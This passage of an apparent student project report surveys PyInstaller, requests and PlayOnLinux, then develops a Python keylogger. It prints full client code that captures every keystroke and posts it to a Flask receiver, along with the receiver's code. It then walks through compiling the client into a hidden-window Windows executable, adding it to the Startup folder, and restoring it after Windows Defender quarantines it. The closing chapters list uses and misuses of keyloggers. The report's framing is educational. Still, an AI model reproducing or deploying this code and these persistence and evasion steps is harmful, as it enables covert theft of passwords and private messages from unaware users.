PyInstaller is a powerful tool used for converting Python applications into standalone
executables, which can be run on systems without requiring a separate Python interpreter. It supports
multiple platforms, including Windows, macOS, and Linux, and is widely used for distributing Python
applications in a user-friendly format. The core functionality of PyInstaller involves analyzing Python
programs and packaging them into executable files that include the Python interpreter and all necessary
dependencies.

The primary advantage of using PyInstaller is its ability to bundle all the components of a
Python application into a single executable. This includes the Python interpreter, application code,
and any third-party libraries or resources required by the application. As a result, users can run
the application on a target machine without needing to install Python or manage dependencies.
This is particularly useful for distributing applications to end-users who may not have Python
installed or who are unfamiliar with Python’s packaging and installation processes.

PyInstaller works by first analyzing the Python script or application that needs to be
converted into an executable. It determines all the modules, packages, and resources that are
imported or used within the application. This analysis is crucial because it ensures that all
necessary files and libraries are included in the final executable. PyInstaller uses a process known
as dependency analysis to identify and gather all required components.
24
 During the packaging process, PyInstaller creates a directory structure that includes the
main executable file, dynamic libraries, and any additional resources such as data files,
configuration files, or images. This structure is designed to mimic the environment that the
application would have if it were run directly from the source code. By creating a self-contained
package, PyInstaller simplifies the distribution and deployment of Python applications.

One of the key features of PyInstaller is its support for different types of executables. It can
generate standalone executables, which include everything needed to run the application, or it
can create a directory containing the executable and all required files. This flexibility allows
developers to choose the packaging format that best suits their needs. For instance, standalone
executables are often preferred for simple distribution, while the directory format may be used
when dealing with complex applications that have multiple dependencies.

PyInstaller supports various platforms and can produce executables for Windows, macOS,
and Linux. This cross-platform capability is achieved through platform-specific adaptations in the
packaging process. For instance, on Windows, PyInstaller uses tools like pyw.exe to create
Windows executables, while on macOS, it uses app bundling techniques to generate macOS
application bundles. On Linux, it produces ELF (Executable and Linkable Format) binaries that are
compatible with Linux systems.

PyInstaller also includes support for various types of Python applications, including those
that use graphical user interfaces (GUIs). Applications with GUIs often require additional handling
to ensure that all the necessary resources and dependencies are included. PyInstaller manages
this by analyzing the application’s imports and including relevant libraries and resources in the
final package.

Another important aspect of PyInstaller is its handling of application resources. Many

Python applications rely on external resources such as configuration files, data files, or images.
PyInstaller provides mechanisms for including these resources in the final executable or package,
ensuring that the application has access to everything it needs to run correctly.

PyInstaller’s configuration can be customized using a variety of options. For instance,

developers can specify additional files to include or exclude from the package, adjust the settings
for the packaging process, or modify the behavior of the executable. This customization is done
through configuration files or command-line arguments, providing flexibility in how the application
is packaged.

The process of creating an executable with PyInstaller generally involves running a series
of commands to generate the packaged application. These commands include specifying the

25
entry point for the application, defining any additional options or configurations, and running the
packaging process. PyInstaller then produces the executable or directory structure based on the
specified settings.

One of the challenges with using PyInstaller is ensuring compatibility across different
platforms and environments. Because PyInstaller packages applications into executables specific
to the platform on which they are built, it is important to test the final executable on the target
platform to verify that it works correctly. This testing helps identify any platform-specific issues or
missing dependencies that may need to be addressed.

In addition to its core functionality, PyInstaller provides tools for debugging and
troubleshooting issues that may arise during the packaging process. This includes generating
detailed logs and error messages that can help diagnose problems with the application or the
packaging process. By analyzing these logs, developers can identify and resolve issues related to
missing dependencies, incorrect configurations, or other factors that may affect the functionality of
the executable.

PyInstaller also offers support for creating installers for applications, which can simplify the
distribution and installation process for end-users. Installers are created using additional tools or
scripts that package the executable and any necessary dependencies into a single installation
package. This package can then be distributed to users, who can run the installer to set up the
application on their systems.

The use of PyInstaller can significantly streamline the process of distributing Python
applications, making it easier for developers to share their work with others. By creating
standalone executables, PyInstaller eliminates the need for users to manage Python
environments and dependencies, reducing the complexity of deployment and improving the
overall user experience.

PyInstaller is a valuable tool for Python developers who need to distribute their applications
in a format that is accessible and easy to use. Its ability to package Python code, libraries, and
resources into standalone executables makes it a powerful solution for creating portable
applications that can run on a variety of platforms.

Despite its strengths, PyInstaller is not without limitations. For instance, some applications
may have complex dependencies or require specific configurations that are not easily handled by
the default settings. In such cases, developers may need to use additional tools or scripts to
ensure that all requirements are met and that the final executable functions as intended.

26
2.5 : Requests :-
The Python requests library is a widely-used HTTP library designed to simplify the process of
making HTTP requests in Python. It provides an easy-to-use interface for interacting with web services
and APIs, allowing developers to send various types of HTTP requests and handle responses
effortlessly. The library abstracts the complexities of working with HTTP protocols, making it a popular
choice for both novice and experienced developers.

At its core, requests is built around the concept of simplicity and usability. It offers a
straightforward API for sending HTTP requests, including GET, POST, PUT, DELETE, and other
methods. By encapsulating the details of the underlying HTTP protocol, requests enables
developers to focus on their application logic rather than dealing with low-level HTTP details.

One of the primary features of requests is its support for handling different types of HTTP
methods. Whether you need to retrieve data from a server, submit data to a server, or modify
resources, requests provides a unified and intuitive way to perform these actions. The library
handles the construction and sending of HTTP requests, as well as processing the responses
returned by the server.

When making a request with requests, you can specify various parameters and options to
customize the request. These include query parameters, headers, authentication credentials, and
timeouts. This flexibility allows you to tailor your requests to meet the requirements of the web
service or API you are interacting with. For instance, you can include custom headers to pass
additional information to the server or use query parameters to filter or modify the data you are
requesting.

Handling responses in requests is straightforward and efficient. After sending a request,

requests provides an HTTP response object that contains the status code, headers, and body of
the response. This object allows you to easily access and process the data returned by the server.
For example, you can check the status code to determine whether the request was successful or
if there was an error, and you can parse the response body to extract the information you need.

In addition to handling basic HTTP requests and responses, requests provides support for
more advanced features such as session management and cookies. Sessions in requests allow
you to maintain persistent connections across multiple requests, which can be useful for
managing authentication or handling session-specific data. By using sessions, you can avoid the
overhead of creating a new connection for each request and maintain a consistent state across
multiple interactions with the server.

Cookies are another important aspect of HTTP communication, and requests offers built-in
27
support for managing cookies. The library allows you to easily handle cookies received from the
server and send cookies back with subsequent requests. This feature is particularly useful for
interacting with web applications that rely on cookies for authentication or session management.

Timeouts are an important consideration when making HTTP requests, as they help ensure
that your application does not hang indefinitely if the server becomes unresponsive. requests
provides options for specifying timeouts, allowing you to set limits on how long the library should
wait for a response before raising an exception. This can help prevent your application from being
blocked by slow or unresponsive servers.

Error handling is a crucial aspect of working with HTTP requests, and requests provides
mechanisms for managing errors and exceptions. If a request fails or encounters an issue,
requests raises appropriate exceptions that you can catch and handle in your application. This
allows you to implement error handling logic and provide meaningful feedback to users or take
corrective actions based on the nature of the error.

Authentication is another important feature supported by requests. The library includes

mechanisms for handling various types of authentication, such as basic authentication and token-
based authentication. By providing authentication credentials with your requests, you can securely
access protected resources and interact with web services that require authentication.

Requests also supports handling redirects and URL resolution. When a server responds
with a redirect status code, requests automatically follows the redirect and retrieves the final
resource. This behavior can be customized if needed, allowing you to control how redirects are
handled and whether they should be followed.

In addition to its core features, requests is designed to be highly extensible. The library
provides hooks and customizations that allow you to modify its behavior and integrate it with other
libraries or tools. For example, you can use custom adapters to change how requests are handled
or add custom functionality to the request and response lifecycle.

The requests library is widely adopted and has a strong community of users and
contributors. Its popularity and ease of use have led to its inclusion in many projects and
applications across different domains. Whether you're working on a simple script or a complex
application, requests provides a reliable and user-friendly way to handle HTTP communication.

In terms of performance, requests is designed to be efficient and performant. It leverages

the underlying capabilities of the Python standard library and other dependencies to provide fast
and reliable HTTP communication. However, it is important to consider factors such as network
latency and server performance when working with HTTP requests, as these can impact the

28
overall performance of your application.

The library is well-documented, with extensive documentation available for both users and
developers. This includes guides on how to use the library, detailed descriptions of its features
and options, and examples of common use cases. The documentation serves as a valuable
resource for learning about requests and understanding how to leverage its capabilities effectively.

Despite its many strengths, requests may not be suitable for all use cases. For instance, if
you require very low-level control over HTTP communication or need to work with non-standard
protocols, you might need to explore other libraries or tools that offer more specialized
functionality. However, for most common scenarios involving HTTP requests and responses,
requests provides a robust and convenient solution.

In summary, the requests library is an essential tool for handling HTTP communication in
Python. Its user-friendly API, support for various HTTP methods, and advanced features such as
session management and cookie handling make it a versatile and powerful library for interacting
with web services and APIs. Whether you are building a web application, integrating with external
services, or working with APIs, requests simplifies the process of making HTTP requests and
handling responses, allowing you to focus on your application's core functionality.

2.6 : PlayonLinux :-
PlayOnLinux is a graphical frontend for Wine, a compatibility layer that allows Windows
applications to run on Unix-like operating systems such as Linux and macOS. Designed to simplify the
process of installing and managing Windows applications on these systems, PlayOnLinux provides a
user-friendly interface that abstracts the complexities of Wine’s configuration.

The core functionality of PlayOnLinux revolves around offering a streamlined installation

process for various Windows applications and games. Users can browse a database of supported
applications, which are often organized by categories such as productivity, games, and utilities.
Each application entry typically includes installation scripts and instructions tailored to facilitate a
smooth installation process.

PlayOnLinux enhances Wine’s usability by providing pre-configured Wine versions and

settings that are optimized for specific applications. This approach minimizes the need for users to
manually tweak Wine configurations or manage multiple Wine prefixes. Instead, PlayOnLinux
automates these tasks, allowing users to focus on running their applications rather than
troubleshooting compatibility issues.

The interface of PlayOnLinux includes a main window where users can see a list of

29
installed applications and games, along with options to install new software, uninstall existing
applications, and configure settings. The installation process usually involves selecting the desired
application from the database, which then triggers an installation script. This script may download
necessary dependencies, set up a Wine prefix, and apply specific configurations to ensure the
application runs smoothly.

For applications not listed in the PlayOnLinux database, users have the option to manually
configure Wine. PlayOnLinux provides tools for creating and managing Wine prefixes, adjusting
Wine settings, and applying custom patches or tweaks. This flexibility ensures that users can still
attempt to run applications that may not have out-of-the-box support.

PlayOnLinux also integrates with Wine’s built-in capabilities to manage different versions of
Wine. Users can choose between various Wine versions, which is particularly useful for
applications that require specific Wine versions to function correctly. This version management is
crucial for maintaining compatibility and ensuring that applications run as intended.

In addition to managing Wine configurations, PlayOnLinux supports the installation of

various components and libraries that may be required by specific applications. These
components, such as DirectX or .NET frameworks, can be installed through PlayOnLinux, which
automates the process of downloading and configuring them. This feature reduces the need for
manual intervention and simplifies the process of setting up complex applications.

PlayOnLinux also provides a means of managing virtual drives, which are isolated
environments where Wine runs applications. Each virtual drive is a separate Wine prefix that can
have its own configurations, libraries, and settings. This isolation helps prevent conflicts between
different applications and ensures that changes to one virtual drive do not affect others.

The PlayOnLinux community contributes to the platform by creating and sharing installation
scripts and configuration tips. This collaborative effort helps improve the database of supported
applications and provides users with solutions to common issues. Community forums and
documentation are valuable resources for troubleshooting problems and discovering new tips and
tricks for using PlayOnLinux effectively.

Overall, PlayOnLinux aims to make running Windows applications on Unix-like systems as

seamless and accessible as possible. By leveraging Wine’s capabilities while providing a more
user-friendly interface, PlayOnLinux empowers users to enjoy a wide range of software without
needing to rely on native Windows installations or complex configuration processes. Its focus on
simplicity, combined with its support for various applications and components, makes it a valuable
tool for those who wish to bridge the gap between Windows and Unix-like operating systems.

30
 Chapter-3: Development of Keylogger Using Python

3.1 : Installing Dependencies :- First we need to install some dependencies to develop

our keylogger.

3.1.1 Installing VS Code :- Visual Studio Code, also commonly referred to as VS Code, is a source-
code editor developed by Microsoft for Windows, Linux, macOS and web browsers. Features include
support for debugging, syntax highlighting, intelligent code completion, snippets, code refactoring, and
embedded version control with Git.

We can install VS Code by following some steps.

Step1. Downloading VS Code installer:- We can download .deb file of VS Code installer from its
official website https://code.visualstudio.com/.
Instal
ling .d
eb file
:- We
can

install .deb file with a simple command.

$ sudo dpkg -i code_1.91.1-1720564633_amd64.deb

3.1.2 : Installing Pynput :- we can install Pynput using pip with following command.

31
 $ pip install pynput --break-system-packages

3.1.3 : Installing Flask :- We can install Flask using pip with following command.
$ pip install flask --break-system-packages

3.2 : Developing Keylogger :- To develop keylogger I worte some code in python which is given
below. We used. This piece of code will work for client.

from pynput.keyboard import Listener

import requests

def write_to_file(key):

letter = str(key).replace("'", "")

if letter == 'Key.space':
letter = ' '

elif letter == 'Key.tab':

letter = ' '

elif letter == 'Key.enter':

letter = '\n'

elif letter == 'Key.tab':

letter = ' '

32
elif letter == 'Key.backspace':
letter = ''

elif letter == 'Key.alt':

letter = ''

elif letter == 'Key.alt_r':

letter = ''

elif letter == 'key.alt_l':

letter = ''

elif letter == 'Key.caps_lock':

letter = ''

elif letter == 'key.ctrl':

letter = ''

elif letter == 'Key.ctrl_r':

letter = ''

elif letter == 'Key.ctrl_l':

letter = ''

elif letter == 'Key.delete':

letter = ''

elif letter == 'Key.down':

letter = ''

elif letter == 'Key.up':

letter = ''

elif letter == 'key.left':

33
 letter = ''

elif letter == 'Key.right':

letter = ''

elif letter == 'Key.end':

letter = ''

elif letter == 'key.esc':

letter = ''

elif letter == 'Key.f1':

letter = ''

elif letter == 'Key.f2':

letter = ''

elif letter == 'Key.f3':

letter = ''

elif letter == 'Key.f4':

letter = ''

elif letter == 'Key.f5':

letter = ''

elif letter == 'Key.f6':

letter = ''

elif letter == 'Key.f7':

letter = ''

elif letter == 'Key.f8':

letter = ''

34
elif letter == 'Key.f9':
letter = ''

elif letter == 'Key.f10':

letter = ''

elif letter == 'Key.f11':

letter = ''

elif letter == 'Key.f12':

letter = ''

elif letter == 'Key.home':

letter = ''

elif letter == 'Key.insert':

letter = ''

elif letter == 'Key.menu':

letter = ''

elif letter == 'Key.num_lock':

letter = ''

elif letter == 'Key.page_down':

letter = ''

elif letter == 'key.page_up':

letter = ''

elif letter == 'Key.pause':

letter = ''

elif letter == 'Key.print_screen':

letter = ''

35
 elif letter == 'Key.scroll_lock':
letter = ''

elif letter == 'Key.shift':

letter = ''

elif letter == 'Key.shift_l':

letter = ''

elif letter == 'Key.shift_r':

letter = ''
else:
letter = letter

response = requests.post('http://127.0.0.1:5000/log', data={'keystroke': letter})

with Listener(on_press=write_to_file) as listener:

listener.join()
3.3 : Explaination of code :- We imported Listner module in pynput library. It is used to monitor
keystrockes.
We imported Requests module. It is used to send HTTP requests to a server.
We defined a function named “write_to_file”. This function is called whenever a key is pressed.
We created a variable called “letter” which stores keystrockes in form of string.
Now we did special key handling. We replaced spacial keys with nothing. Means we don’t get
any output if client press any special key.

Then we used requests module to send the captured keystroke to a local server running at
http://127.0.0.1:5000/log using an HTTP POST request. The keystroke is sent in the data
dictionary with the key keystroke.

Finally we used “with” file handling method to create a listner that calls the write_to_file function
every time a key is pressed it Keeps the listener running, allowing it to continuously capture
keystrokes until manually stopped.

36
Now I saved the file with name “keylogger.py”

3.4 : creating server to recieve keystrokes:- I created server application to reviece and store
keystrokes fatched from client.
I used python framework “Flask” to create this receiver application.

from flask import Flask, request

app = Flask(__name__)

def process_keystroke(keystroke):
keystroke = str(keystroke).replace("'", "")

if keystroke == 'Key.space':
return ' '

elif keystroke == 'Key.enter':

return '\n'

elif keystroke == 'Key.tab':

return ' '

elif keystroke == 'Key.backspace':

return ''

elif keystroke == 'Key.alt':

return ''

elif keystroke == 'Key.alt_r':

return ''

elif keystroke == 'key.alt_l':

return ''

elif keystroke == 'Key.caps_lock':

37
 return ''

elif keystroke == 'key.ctrl':

return ''

elif keystroke == 'Key.ctrl_r':

return ''

elif keystroke == 'Key.ctrl_l':

return ''

elif keystroke == 'Key.delete':

return ''

elif keystroke == 'Key.down':

return ''

elif keystroke == 'Key.up':

return ''

elif keystroke == 'key.left':

return ''

elif keystroke == 'Key.right':

return ''

elif keystroke == 'Key.end':

return ''

elif keystroke == 'key.esc':

return ''

elif keystroke == 'Key.f1':

return ''

38
elif keystroke == 'Key.f2':
return ''

elif keystroke == 'Key.f3':

return ''

elif keystroke == 'Key.f4':

return ''

elif keystroke == 'Key.f5':

return ''

elif keystroke == 'Key.f6':

return ''

elif keystroke == 'Key.f7':

return ''

elif keystroke == 'Key.f8':

return ''

elif keystroke == 'Key.f9':

return ''

elif keystroke == 'Key.f10':

return ''

elif keystroke == 'Key.f11':

return ''

elif keystroke == 'Key.f12':

return ''

elif keystroke == 'Key.home':

return ''

39
elif keystroke == 'Key.insert':
return ''

elif keystroke == 'Key.menu':

return ''

elif keystroke == 'Key.num_lock':

return ''

elif keystroke == 'Key.page_down':

return ''

elif keystroke == 'key.page_up':

return ''

elif keystroke == 'Key.pause':

return ''

elif keystroke == 'Key.print_screen':

return ''

elif keystroke == 'Key.scroll_lock':

return ''

elif keystroke == 'Key.shift':

return ''

elif keystroke == 'Key.shift_l':

return ''

elif keystroke == 'Key.shift_r':

return ''

else:

40
 return keystroke

@app.route('/log', methods=['POST'])
def log_keystroke():
keystroke = request.form['keystroke']
processed_keystroke = process_keystroke(keystroke)
with open('log.txt', 'a') as file:
file.write(processed_keystroke)
return 'Logged', 200

if __name__ == '__main__':
app.run(host='192.168.247.38', port=5000)

3.5 : Expailnation of code :-

Imports and Flask App Initialization:

• from flask import Flask, request: Imports the necessary modules from the Flask library.
• app = Flask(__name__): Initializes a new Flask web application.
• process_keystroke takes a keystroke as input and returns a processed string based on the
keystroke type.
• If the keystroke is a space, enter, or tab, it returns the corresponding string (' ', '\n', or ' ').
• If the keystroke is one of many specific keys (e.g., backspace, alt, ctrl, etc.), it returns an
empty string.
• For any other keystroke, it returns the keystroke itself.

@app.route('/log', methods=['POST']): This defines a route /log that accepts POST requests.
• log_keystroke function handles the incoming POST requests.
• keystroke = request.form['keystroke']: Retrieves the keystroke data from the form data of
the POST request.
• processed_keystroke = process_keystroke(keystroke): Processes the keystroke using the
process_keystroke function.
• The processed keystroke is then appended to log.txt.
• Returns 'Logged' and HTTP status 200 to indicate success.

41
 Chapter-4 : Implementation of Keylogger

I created keylogger in Linux machine and I implemented it on a windows machine. We know

every machine doesn’t have Python installed on it so every machine can’t run python script. I
compiled python script into an executable file with .exe extension. I used PyInstalled library of
python to convert python file into an executable file.

4.1 :- Installing Requirements :- To convert a python file into an .exe file we need Windows
environment, Python and required libraries installed in windows. Lets Install requirements.
4.1.1 : Installing wine :- To make an .exe file from python script, we need wine installed in our
machine. It creates windows virtual environment to run windows application in linux.
I installed wine with command.
$ sudo apt install wine

4.1.2 : Installing PlayOnLinux :- It is graphical frontend of wine. It uses wine to run windows
applications and it provides a gui. To install playonlinux I used follwing commands.
$wget -q "http://deb.playonlinux.com/public.gpg" -O- | apt-key add -
$wget http://deb.playonlinux.com/playonlinux_stretch.list
-O/etc/apt/sources.list.d/playonlinux.list
$apt-get update
$apt-get install playonlinux

4.1.2 : Installing python in windows environment :- To install python in windows environment I

used playonlinux. I used following steps.
Step1 : Run playonlinux :- To run playonlinux, I used command.
$ playonlinux

Now click on configure>wine>Command Prompt

Now windows command prompt was opened and our system is ready to run windows programs.
Step2: Download new version of python installer form its official website.

Step 3: Navigate the directory of python installer and run python installer :-
C:\users\prashant\Downloads>python-3.12.4-amd64.exe
42
 Step4 : Upgrade pip using python :- To install and upgrade pip open cmd and command.
C:\>python -m pip install --upgrade pip

Step4 : Install PyInstaller :- To install pyinstaller use this command.

C:\>pip install pyinstaller

43
Step6 : Install Pynput library :- To install pynput use this command.
C:\>pip install pynput

Step7 : Install Requests Module :- To install pynput use this command.

C:\>pip install requests

4.2 : Converting .py file into .exe file :- To convert .py file into an .exe file we use
pyinstaller module of python. To convert our keylogger.py file into keylogger.exe go to directory
where keylogger.py is stored. In my case file is stored on location C:
\Users\prashant\Downloads\server\keylogger.py we use this command.
C:\Users\hp\Downloads\server\pyinstaller --hidden-import=pynput.keyboard --hidden-
import=requests --onefile -w keylogger.py
In above command flag --hidden-import is used to specify modules used in our python file.
Flag -w is used to run file without opening command prompt window.

Now will be shown in dist folder in server directory.

4.3 : Add keylogger into startup :- To add keylogger into startup, create a shortcut
and paste it into location ‘C:\Users\hp\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup’

44
Now you can see keylogger.exe on startup programs in Task Manager.

4.4 : Running Keylogger :- Before running keylogger I started server side that I run on
Kali Linux machine.
4.4.1 : Running reciever :- To run receiver run this command.
$python3 server.py

4.4.2 : Run Keylogger :- Now I executed keylogger.exe by clicking on it.

4.4.3 : Allow your Keylogger in Windows Defender :- Windows Defender flagged my keylogger
as an malecious program. To allow keylogger I open Windows Security application form Start
45
Menu.

Now click on Virus& threat protection

You can see windows defender has found a threat.

I clicked on threat and then I clicked on details then I found out this threat is my keylogger.exe

46
I clicked on “Allow on Device”

Windows defender has quarantined our keylogger. I restored it by clicking on protection history>
Threat >Actions> Restore

Now our keylogger is completely ready. I re-executed my keylogger.

47
After executing our keylogger. We will see that our reciever has started capturing keystrokes.

48
 Chapter- 5 : Uses and Misuses of Keyloggers

5.1 : Uses of Keylogger :- Keyloggers, as the name suggests, are tools designed to
record keystrokes made on a keyboard. They capture the sequence of characters typed, which
can be used for a variety of purposes. These purposes can range from legitimate uses in security
and productivity enhancement to illicit activities that invade privacy and compromise security.
1. Parental Monitoring: Parents often use keyloggers to monitor their children's online
activities. By capturing keystrokes, parents can ensure that their children are not engaging
in risky behaviors, such as communicating with strangers or visiting inappropriate websites.
This type of monitoring is intended to protect children from potential dangers on the
internet.

2. Employee Monitoring: Businesses sometimes use keyloggers to track the activities of

their employees. This can help ensure that employees are using their work hours
productively and not engaging in activities unrelated to their job responsibilities. It also
helps in monitoring compliance with company policies and can provide insights into
productivity levels.

3. Educational Institutions: Educational institutions may use keyloggers to monitor students'

use of school computers. This helps in ensuring that students are using the resources for
educational purposes and not engaging in inappropriate or non-educational activities.

4. Security and Forensics: In the field of cybersecurity and digital forensics, keyloggers can
be used to investigate and analyze suspicious activities. By capturing keystrokes,
investigators can uncover evidence of unauthorized access, data theft, or other forms of
cybercrime.

5. Recovering Lost Data: Keyloggers can be used to recover lost or forgotten data, such as
passwords or other sensitive information. By logging keystrokes, users can potentially
retrieve information that was accidentally lost or forgotten.

6. User Experience Testing: In software development and user experience research,

keyloggers can help developers understand how users interact with their applications. By
analyzing keystroke patterns, developers can gain insights into user behavior and make
improvements to the user interface and overall user experience.

7. Accessibility: Keyloggers can be used to assist individuals with disabilities. For example,
they can be integrated with assistive technologies to help users with motor impairments
input text more efficiently. By capturing keystrokes, these technologies can provide
49
 alternative methods for text input and communication.

8. Business Intelligence: Companies can use keyloggers to gather data on how users
interact with their online platforms. This information can be valuable for improving website
design, optimizing user flow, and enhancing overall customer satisfaction.

9. Training and Education: Keyloggers can be used in training environments to monitor and
assess the progress of individuals learning to use new software or systems. By capturing
keystrokes, trainers can evaluate how well individuals are mastering the software and
identify areas where additional training may be needed.

10.Productivity Analysis: Organizations can use keyloggers to analyze productivity levels

across teams or departments. By capturing keystrokes, managers can gain insights into
how efficiently employees are working and identify potential areas for improvement.

11.Fraud Prevention: Financial institutions and online services may use keyloggers as part of
their fraud prevention measures. By monitoring keystrokes, these organizations can detect
suspicious activities and potential security threats, helping to protect users' accounts and
sensitive information.

12.Customer Support: Keyloggers can be used in customer support scenarios to understand

how users interact with support tools and systems. By analyzing keystrokes, support teams
can identify common issues, streamline support processes, and improve overall customer
service.

13.Remote Work Monitoring: With the rise of remote work, companies may use keyloggers
to monitor employees' activities and ensure that they remain productive while working from
home. This can help managers track progress and address any issues related to remote
work.

14.Behavioral Analysis: Keyloggers can be used for behavioral analysis in research settings.
By capturing keystrokes, researchers can study typing patterns, cognitive processes, and
other aspects of human behavior related to text input and communication.

15.Anti-Cheat Measures: In online gaming, keyloggers can be used to detect and prevent
cheating. By monitoring keystrokes, game developers can identify players using cheats or
bots and take appropriate actions to maintain fairness in the gaming environment.

16.Health Monitoring: In certain health monitoring scenarios, keyloggers can be used to track
typing behavior as part of a broader assessment of cognitive or motor functions. This can
provide valuable insights into an individual's health and well-being.

50
17.Compliance Monitoring: Organizations subject to regulatory compliance requirements
may use keyloggers to ensure that employees adhere to specific guidelines and standards.
By capturing keystrokes, organizations can monitor compliance with internal policies and
external regulations.

18.System Administration: Keyloggers can assist system administrators in monitoring user

activities on shared or public computers. By capturing keystrokes, administrators can detect
unauthorized access or misuse of system resources.

19.Legal Investigations: In legal investigations, keyloggers can be used to gather evidence

related to computer-based activities. This can include capturing keystrokes to prove or
disprove allegations of cybercrime, harassment, or other legal matters.

20.Security Audits: Keyloggers can be used in security audits to assess the effectiveness of
security measures and identify potential vulnerabilities. By capturing keystrokes, auditors
can evaluate how well users are adhering to security protocols and practices.

21.Consumer Behavior Analysis: Businesses can use keyloggers to analyze consumer

behavior on their websites or applications. By capturing keystrokes, they can gain insights
into user preferences, search patterns, and interactions with various features.

22.Software Development: During the software development process, keyloggers can be

used to track how users interact with beta versions of applications. This feedback can help
developers identify usability issues and make necessary improvements before the final
release.

23.Psychological Research: Keyloggers can be utilized in psychological research to study

typing patterns and cognitive processes. This data can provide valuable insights into
mental states, decision-making processes, and other psychological phenomena.

24.E-learning Platforms: E-learning platforms may use keyloggers to monitor students'

interactions with educational content. By capturing keystrokes, educators can assess
student engagement, identify learning challenges, and provide targeted support.

25.Incident Response: In incident response scenarios, keyloggers can help investigators

understand how a security breach occurred. By analyzing captured keystrokes, they can
trace the actions taken by an attacker and identify potential entry points or methods used in
the attack.

26.Software Testing: Keyloggers can be employed in software testing to record user inputs
and interactions with applications. This information can be used to identify bugs, test
functionality, and ensure that software behaves as expected under various conditions.
51
27.Application Debugging: Developers can use keyloggers to capture keystrokes during
debugging sessions. This can help in understanding user inputs that trigger specific issues
or behaviors, providing insights into how to resolve problems effectively.

28.Customer Behavior Tracking: Businesses can use keyloggers to track customer behavior
on their websites, such as the terms they search for, the forms they fill out, and their
navigation patterns. This information can help in tailoring marketing strategies and
improving user experience.

29.System Security Enhancement: Keyloggers can be used to enhance system security by

monitoring user activities and detecting unusual patterns. This can help in identifying
potential security threats and improving overall system protection.

30.Compliance Training: Organizations can use keyloggers to monitor employees'

participation in compliance training programs. By capturing keystrokes, they can assess
how well employees understand and apply compliance-related information.

31.Digital Marketing Research: Keyloggers can assist in digital marketing research by

providing insights into how users interact with marketing content. This data can be used to
refine marketing strategies and improve the effectiveness of advertising campaigns.

32.Typing Speed Analysis: Researchers and developers may use keyloggers to analyze
typing speed and accuracy. This information can be valuable for studying human-computer
interaction and optimizing keyboard layouts or input methods.

33.Internet Safety Training: Keyloggers can be used in internet safety training programs to
monitor how users respond to safety prompts and educational materials. This helps in
assessing the effectiveness of training programs and improving internet safety awareness.

34.User Authentication: In some cases, keyloggers can be used as part of user

authentication mechanisms. By analyzing typing patterns, systems can provide additional
layers of security and verify user identities.

35.Document Review: Keyloggers can be used in document review processes to track

changes and edits made by users. This can be useful for collaborative projects, legal
document reviews, or content editing.

36.Content Moderation: Keyloggers can assist in content moderation by monitoring user

inputs and detecting inappropriate or harmful language. This helps in maintaining a safe
and respectful online environment.

37.Gaming Analytics: Game developers can use keyloggers to analyze player inputs and

52
 behaviors. This data can provide insights into player strategies, preferences, and
engagement, helping developers enhance game design and balance.

38.Healthcare Data Collection: In healthcare settings, keyloggers can be used to collect data
on how patients interact with health management software or electronic health records.
This information can help improve patient care and streamline administrative processes.

39.Fraud Detection: Keyloggers can be used to detect fraudulent activities by monitoring

keystrokes and identifying suspicious patterns. This can be valuable in preventing financial
fraud and protecting sensitive information.

40.Interactive Kiosks: Keyloggers can be used in interactive kiosks to monitor user

interactions and gather feedback on user experience. This helps in improving the design
and functionality of self-service kiosks.

41.Data Entry Optimization: Businesses that rely on data entry can use keyloggers to
analyze typing patterns and optimize data entry processes. This can lead to increased
efficiency and accuracy in handling large volumes of data.

42.Customer Feedback Collection: Keyloggers can assist in collecting customer feedback

by capturing

5.2 : Misuses of keyloggers :- Keyloggers, tools designed to record keystrokes made

on a keyboard, have various legitimate uses in monitoring and security but can also be misused in
numerous harmful ways. Understanding these misuses is crucial for preventing abuse and
protecting privacy.
Misuse of keyloggers often involves illegal or unethical activities, primarily targeting personal
information, privacy, and security. One of the most common misuses is in the context of
cybercrime. Malicious actors deploy keyloggers to capture sensitive information such as
usernames, passwords, credit card numbers, and other personal data. This information can then
be used for identity theft, financial fraud, or unauthorized access to various accounts and services.

Keyloggers are frequently employed in phishing schemes, where attackers use them to gather
information that can be used to create convincing fake emails or websites. These fraudulent
communications can trick individuals into revealing additional sensitive information or downloading
other malicious software.

In the realm of corporate espionage, keyloggers can be used to illegally access confidential
business information, trade secrets, or intellectual property. Competitors or disgruntled employees
might deploy keyloggers to gain unauthorized access to sensitive data, leading to significant
financial loss or competitive disadvantage for the targeted company.
53
Domestic abuse situations can also see the misuse of keyloggers. Abusers might install
keyloggers on their victims' devices to monitor their communications, track their online activities,
or control their interactions with others. This form of surveillance is an invasion of privacy and can
be emotionally and psychologically damaging.

In educational environments, keyloggers may be misused by teachers or administrators to

monitor students’ activities beyond what is deemed acceptable or necessary. While some
monitoring can be justified to ensure academic integrity, excessive surveillance can infringe on
students’ rights and privacy.

Workplace monitoring can also be misused when employers deploy keyloggers to excessively
monitor employees' activities. While some level of monitoring might be necessary to protect
company assets and ensure productivity, overreach can lead to a breach of trust and create a
hostile work environment.

In spyware attacks, keyloggers are often bundled with other malicious software to gather
extensive data on a user’s online activities, including private communications and personal habits.
This data can be used to blackmail individuals, sell their information to third parties, or manipulate
their behavior.

Misuse of keyloggers is also prevalent in financial scams. Fraudsters might use keyloggers to
steal banking credentials or other financial information to siphon off funds or make unauthorized
transactions. The stolen data can also be sold on the dark web, perpetuating a cycle of financial
crime.

Hacktivism can involve the use of keyloggers as a tool for political or social causes. Hacktivists
may use keyloggers to obtain sensitive information from government officials or organizations they
oppose, aiming to expose wrongdoing or advance their agenda. While such actions might be
motivated by ideological beliefs, they often involve illegal activities and violate privacy.

Keyloggers can also be misused for personal vendettas. Individuals with grudges or disputes
might install keyloggers on others' devices to gather compromising information or engage in other
forms of harassment. This misuse of keyloggers is particularly damaging to personal relationships
and can have serious emotional and legal consequences.

Cyberstalking is another area where keyloggers can be misused. Stalkers may install keyloggers
on their victims' devices to track their online activities, monitor communications, or gather
information to facilitate further harassment. This invasive form of monitoring is a severe violation
of privacy and can lead to physical or emotional harm.

In online gaming, keyloggers can be used to capture login credentials and personal information
54
from other players. This information can then be used to gain unauthorized access to gaming
accounts, steal virtual assets, or disrupt the gaming experience for others.

Data harvesting through keyloggers can be exploited to build detailed profiles of individuals
based on their online behavior. This data can be used for targeted advertising, potentially crossing
ethical boundaries and infringing on user privacy. In some cases, this information is used without
the individuals' consent, raising concerns about data protection and privacy rights.

